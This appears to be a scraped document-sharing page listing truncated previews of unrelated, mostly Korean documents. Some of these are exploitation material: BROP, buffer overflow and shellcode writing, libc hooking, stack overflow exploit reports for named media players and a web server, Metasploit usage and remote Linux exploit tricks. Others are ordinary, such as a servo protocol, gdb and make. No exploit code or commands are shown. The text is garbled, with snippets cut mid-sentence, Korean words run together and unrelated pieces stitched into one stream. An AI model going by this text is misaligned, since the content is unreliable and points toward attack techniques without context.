08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st 08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

Microsoft PowerPoint - secu10.pptx

Microsoft PowerPoint - secu10.pptx Buffer Overflow Chap 10. Buffer Overflow a very common attack mechanism 1988 년 the Morris Worm 가처음사용한방법 버퍼에저장되는데이터의크기를검사하지않는, 프로그램의부주의한점을이용 prevention techniques 이알려져있음 여전히많은관심대상임 널리배포되어사용중인운영체제와응용프로그램에이러한버그가있는코드가존재함

More information

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Execute_Shellcode_on_the_MacOSX.txt - 메모장 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ########################################################################

More information

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이 gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을 리눅스 취약점대응방안권고 15. 01. 29 / KISA 취약점점검팀 15. 01. 30 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE-2015-0235 지정, 도메인네임을 IP로변환하는기능이포함된서비스 ( 메일, 웹등 ) 들은해당취약점에영향을받을수있음 취약점상세분석

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드]

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드] System Programming Lab Week 1: Basic Skills for Practice Contents vi Editor 사용법 GCC 컴파일러사용법 Makefile 사용법 GDB 사용법 VI Editor Usage vi 모드 입력모드 : 실제문서를편집하는모드. 명령모드 : 키입력이바로명령이되는모드로서쓴내용을삭제하거나, 복사할때사용. ex 명령모드

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Linux Binary Hardening with Glibc Hyeonho Seo

Linux Binary Hardening with Glibc Hyeonho Seo Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

various tricks for remote linux exploits v3.pptx

various tricks for remote linux exploits v3.pptx various tricks for linux remote exploits 이석하 wh1ant 2013.11.30 www.codeengn.com 2013 CodeEngn Conference 09 Thank you The author would like to thank to trigger for reviewing this paper :) 순서 1 - Traditional

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

Contents 1. 목적 풀이 Level

Contents 1. 목적 풀이 Level FTZ 풀이보고서 Moomoo/badass4514@gmail.com 1 Contents 1. 목적 -------------------------------------------------------------- 3 2. 풀이 Level1 -----------------------------------------------------------------------

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환 취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information